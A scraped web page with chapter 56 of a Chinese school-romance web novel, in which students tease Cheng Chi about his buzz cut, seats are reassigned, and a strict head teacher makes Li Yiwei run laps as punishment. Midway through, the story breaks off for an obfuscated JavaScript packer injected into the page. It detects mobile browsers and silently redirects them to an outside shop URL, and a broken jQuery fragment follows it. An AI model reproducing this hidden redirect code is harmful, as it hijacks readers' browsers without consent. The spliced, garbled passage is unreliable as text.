文趣网 > 其他小说 > 小鸟想要落在某个人肩头 > 56. 第 56 章
    “卧槽,你头发怎么成这样了?”卢韦宝瞧见程池头顶,忍不住大叫。

    他端详着程池略显邪恶的脑袋,配着校服下一身打球打出来的腱子肉:“像从少管所刚出来的。”

    程池:“……”

    程池抬手摸摸脑门,短发茬刺挠扎手,理发师傅确实把他头发推得太短,“我还以为你会说我像和尚。”

    卢韦宝点点头:“也像。”

    他倒是第一次见程池尝试这种发型,往常不是锅盖头就是侧分短,“发生啥事儿了,让你怎么想不开想要青灯古佛剃个光葫芦?”

    程池想起那双揪他头发的无情小胖手,倒吸一口凉气:“程橙,一个头发特稀疏的秃头小女孩,嫉妒我这一头茂密秀发,抱她的时候总揪我头发,我就给剃了。”

    卢韦宝笑嘻嘻,鼓起掌道:“世纪好叔叔,怒发剃头为红颜,等头发变长前都维持这个丑发型喽。”

    程池:“哪里丑了?就你说丑而已。”

    卢韦宝一头自来卷,头发乱的像鸡窝一样,没一点审美在身上。

    像是心有灵犀,卢韦宝直接大喊坐在前面安静写题的李亦为:“组长。”

    “组长。”

    李亦为闻言转身,面对着传唤人,露出询问目光:又喊我干什么?

    卢韦宝指了指程池:“组长,你以一个女生的角度出发,客观公正地评价他这个光头发型究竟如何?”

    李亦为被他一串话砸得睁圆眼睛,发懵轻声道:“啊?”

    程池没料到卢韦宝搞出这套,身子侧过来一半,想拦已经拦不住了,他抬手在卢韦宝桌上敲了一下:“你闲得慌?”

    “关心你的形象管理。”卢韦宝振振有词,又转向李亦为,一脸诚恳,“组长觉得怎么样。”

    李亦为仍神情愣愣,在卢韦宝的目光示意下看向程池。

    程池侧着身子注视她,他的头发像刚修剪过的草地,颇有几分野性轻狂的意味,往下是一张年轻的、生动的脸,浓密的眉向上扬着,当他对上她的目光后,长睫毛严肃地垂下,那张颜色鲜艳的唇闭合。

    李亦为登然说不出话来,说什么才合适?发型不影响他的漂亮,他现在挺帅的,短发也挺好。

    她思索着尽少沾染主观感情色彩的答案。

    程池心道不论她说什么都接受,却迟迟等不来回答,以为李亦为没听懂卢韦宝的问题,直接问:“我现在丑吗?”

    李亦为连忙否认说:“不丑不丑。”

    她平日寡言,此刻语气温吞、语序错乱:“怎么会丑,挺好的,你头发…我觉得漂亮。”

    最后两个字落下去的时候,声音已经轻得几乎散在空气里,程池见她这样子,明白让人夸一个男生寸头漂亮有些超过了,李亦为扶了扶眼镜框,脸上表情羞怯。

    卢韦宝得到不甚满意的答案,表情无语喃喃道:“你太体面了,组长。”

    程序:“你太过分了,鸟窝。”

    卢韦宝破防:“你个鸟没窝!”

    程池:“能不能积点口德。”

    两个人又怼起来,李亦为转过身继续做题,心里想起何苗嘱咐她换座位的事,觉得可以提早规划,坐在这里她心慌。

    或许这次她应该挑一个前两排的位置,看黑板视野更清晰,然后让何苗说服袁晨凡安排个不爱说话的同桌。

    李亦为等着班主任袁晨凡宣布换座位,等了足足一个星期。

    中午下课前,班主任把画好的座位表粘在讲台桌面,让学生快点吃完饭回来照着排表换位。下课铃一响,讲台桌被包围得水泄不通。

    李亦为挤不到前面,只能垫着脚从空隙里望,前面的人墙密不透风,她往左挪一步,又被另一个人的胳膊肘挡了回来。

    她退了出来,站在人群外围,因为心中着急,踮起脚尖向上跳了一下,借机看去。

    袁老师的字写的真难看,字面意义上的难看。

    程池看完表格,抬眼一瞧,便看见李亦为站在远处蹦跶,蘑菇头两侧发丝甩起在空中,画了两道弧后又落回脸颊边上。他忽然觉得有点好笑,嘴角一动。

    “第四排中间位置,从北开始数第二个。”程池说,“你换到那儿了。”

    李亦为:“谢谢。”

    程池看她乖乖道谢的模样怪可爱,心中涌起一丝对小矮子同学的怜爱:“不客气。”

    “那个…”李亦为想了想,还是忍不住叫住程池,“北边是…左边还是右边?”

    程池:“正面对讲台时的左边。”

    李亦为:“谢谢。”

    李亦为得知座位,收拾好桌上的书和文具准备往新位置上搬,她的辅导资料多,另装一个书包仍有余。

    当她抱着一摞书穿过来来往往的人流,抵达新位置时,程池走在她身后,胳膊往前轻松一抬,书包从李亦为头顶上空划过,稳稳落在相邻位置上。

    站在教室喧嚣里,李亦为望着程池来回搬书的身影,陷入更深的沉默。

    入秋后天气渐渐转凉,风也多了起来。

    李亦为的国庆跟着何苗过,她妈在班上给她腾了一张小桌,坐在教室最后面,让她跟着高三的作息安排走,天不亮便从床上爬起来,五点五十到教室,早中午饭都在食堂吃,晚上和何苗一起放学。

    李亦为被后门风刮得鼻子囔囔,又盼着开学。

    考试结束后学校拉数化物三科高分学生组织另行考试,言说要选拔人才,校领导大抵有几分尝试搞竞赛的意思。

    李亦为同何苗讲多了升学保送机会,何苗说她心思飘了,告诉她不要试图走捷径,以往没有先例的东西行不通。

    等到开学,竞赛的事久久没有下文,果然是不了了之。

    南宛是个小地方。

    “这就是个又破又旧的小地方,我还等着我们家房子拆迁呢,最好在我高考前拆了,这样我就有钱去外地读大学了。”邱颖对她的朋友说。

    李亦为的左侧新同桌是个女孩,一个性格活泼的女孩,叫邱颖,课间时邱颖的朋友会到她的位置上找她,两人人有说有笑。

    高一有体育课,在下午第二节。

    课上体育老师下令站队集合跑一圈,然后宣布原地解散,学生便像羊群一样在操场上的草坪上散开,几人

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936736|213733||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    成圈,各做各的事。

    以前出太阳时李亦为会把卷子叠成小方块装进校服口袋里,盘腿坐在草坪上做题。

    等她熟悉了体育课规律,便索性直接呆在教室学习,有人仿照她,班上逐渐多了几人留在教室做题。

    晚上自习课上班里正做作业,袁晨凡从前门走进来。

    袁晨凡站上讲台,拿着戒尺在讲台桌上重敲一下,清响声音引得班级众人抬头,“没去上体育课的人都给我自觉站起来。”

    李亦为的笔尖停在纸面上,心跳快了半拍,犹豫哽在喉咙间。

    袁晨凡深知驯学生绝不能给好脸色,沉脸厉声道:“不要让我说第二遍。”

    李亦为撑着桌子站起来,椅子腿往后蹭出短促吱呀,她站起来后垂着头,目光落在桌面摊开的练习册上。

    旁边有椅子接连响。

    程池停笔,仰头看向站起来同桌,女孩面上染上几分羞乃,俨然是在众目睽睽之下感到难堪了。

    他心有偏私,对上袁晨凡的脸,心道:操,没事找事。

    袁晨凡领着起立的几人出了教室,鞋跟敲在地砖上,笃笃笃的,像一串收拢的句号,教室门在她们身后合上,留下满室安静。

    “这是要干嘛啊?”周围有人窃窃私语,“吓死人了。”

    这阵仗让人跌面儿,众人犹疑班主任想要干嘛,叫过去把人骂一顿?叫家长?程池身边有人心有悻悻道:“幸亏我今天没留在教室里。”

    程池做完化学又看表,二十分钟过去了,人还没回来。李亦为对他有赠书之恩,就一安安静静、瘦瘦小小、腼腼腆腆、认真学习成绩又好的小姑娘,罚吃根棒棒糖就好,吃糖会长蛀牙呢。

    窗外风吹树摇,叶叶相映。

    后门“吱嘎”响起,陆陆续续的脚步声传来。

    邱颖站起身给李亦为让路。

    程池看李亦为急促地喘着气走进来,一头齐顺的短发已然凌乱,校服拉链拉到最上面,下巴埋进领口里,她垂着眼,面色潮红,脸颊和额头上沾染一层薄汗。

    干什么去了?

    只见李亦为在位置上坐下来,然后弯下腰将两只胳膊叠在桌面上,脸埋进臂弯里,整个人缩成一团。

    李亦为短发铺在手臂上,蔓延上课桌,也占去了他桌上一点位置,她呼吸着,同时后背和肩膀跟着起伏,像一只被磋磨得感到痛苦的小兽。

    程池听见有人说:“被罚跑了五圈,她盯着我们跑,两公里一刻能停。”

    然后有人怨骂:“袁晨凡神经病吧。”

    直到下课,李亦为仍趴在桌上,面朝桌面一动不动地趴着。

    邱颖拍了拍李亦为肩膀,担心问:“你没事吧?是不是身体不舒服?有哮喘或者是鼻炎?要吃药吗?”

    李亦为一只手支楞起来,摆了摆,闷着声:“没事。”

    邱颖又问:“要喝水吗?我给你倒点。”

    李亦为:“不用,谢谢。”

    程池觉得不正常,孩子题也不做了,也不争分夺秒了,乍一看像被抨击到道心破碎、人生无望了。

    “哭了?”他问。